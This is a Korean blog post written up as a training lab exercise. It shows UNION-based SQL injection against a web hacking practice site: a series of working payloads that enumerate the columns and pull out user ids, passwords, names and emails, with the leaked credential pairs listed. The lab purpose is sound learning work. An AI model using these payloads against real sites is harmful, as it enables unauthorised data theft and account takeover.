yuil :: SecOps

[WebSec] SQL Injection Lab 02 본문

실습/Web Security 실습

[WebSec] SQL Injection Lab 02

yuil.lee 2025. 10. 21. 14:02
웹 사이트 이용자의 id를 모르는 상태에서 union을 이용한 sql injection 공격으로 계정 정보(id, password 등) 3개를 알아내시오. 대상은 web hacking practice site

[hint] 해당 사이트는 사용자 정보가 들어있는 table의 주요 정보가 일부 노출되어 있다.

 

xp
' or 1=1 union select 1,1,1,1,1--

'nuno' 데이터 확인

' or 1=1 union select '1',1,1,1,1--

'dlaudtn' 데이터 확인

' or 1=1 union select '1','1',1,1,1--

'이명수' 데이터 확인

' or 1=1 union select '1','1','1',1,1--

이메일 정보 확인

' or 1=1 union select '1','1','1','1',1--

필드수 5개 확인

'

user_pw 필드 존재 확인

 

 

위에서 탈취한 문자열중 'nuno', 'dlaudtn' 가 id 또는 pw로 유력하고
'user_pw' 필드가 존재하는것을 확인했다.
id : nuno / pw : dlaudtn 대입

로그인 되는것 확인

'dlaudtn'가 user_pw 필드의 데이터이다.
첫번째 필드가 id 필드고
두번째 필드가 pw 필드다.

 

다른 계정 찾기
user_pw 필드의 데이터가 'dlaudtn'가 아닌 조건으로 찾는다.
' or 1=1 and user_pw!='dlaudtn' union select 1,1,1,1,1--

'kth1234' 데이터 확인

' or 1=1 and user_pw!='dlaudtn' union select '1',1,1,1,1--

'rlaxogml' 데이터 확인

' or 1=1 and user_pw!='dlaudtn' union select '1','1',1,1,1--

'김태희' 데이터 확인

' or 1=1 and user_pw!='dlaudtn' union select '1','1','1',1,1--

이메일 데이터 확인

' or 1=1 and user_pw!='dlaudtn' union select '1','1','1','1',1--

id : kth1234 / pw : rlaxogml 확인

 

 

# 같은 방식으로 찾기 반복
' or 1=1 and user_pw!='dlaudtn' and user_pw!='rlaxogml' union select 1,1,1,1,1--

 

반응형